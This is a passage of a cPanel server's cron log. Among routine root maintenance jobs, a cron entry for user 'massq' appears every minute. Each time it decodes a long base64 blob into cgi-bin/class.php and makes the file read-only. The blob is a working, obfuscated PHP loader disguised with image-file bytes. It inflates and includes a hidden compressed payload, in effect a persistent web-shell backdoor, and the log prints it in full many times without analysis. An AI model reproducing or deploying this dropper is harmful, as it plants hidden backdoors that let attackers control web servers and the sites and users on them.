k7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:17:01 server CROND[18272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:18:01 server CROND[18330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:19:01 server CROND[18389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:20:01 server CROND[18444]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 02:20:01 server CROND[18445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 02:20:01 server CROND[18447]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 02:20:01 server CROND[18448]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 02:20:01 server CROND[18449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:21:01 server CROND[18561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:22:01 server CROND[18731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:23:01 server CROND[18811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:24:01 server CROND[18873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:25:01 server CROND[18932]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 02:25:01 server CROND[18933]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 02:25:01 server CROND[18934]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 10 02:25:01 server CROND[18935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:26:01 server CROND[19057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:27:01 server CROND[19204]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 02:27:01 server CROND[19206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:28:01 server CROND[19261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:29:01 server CROND[19320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:30:01 server CROND[19395]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 02:30:01 server CROND[19396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 02:30:01 server CROND[19397]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
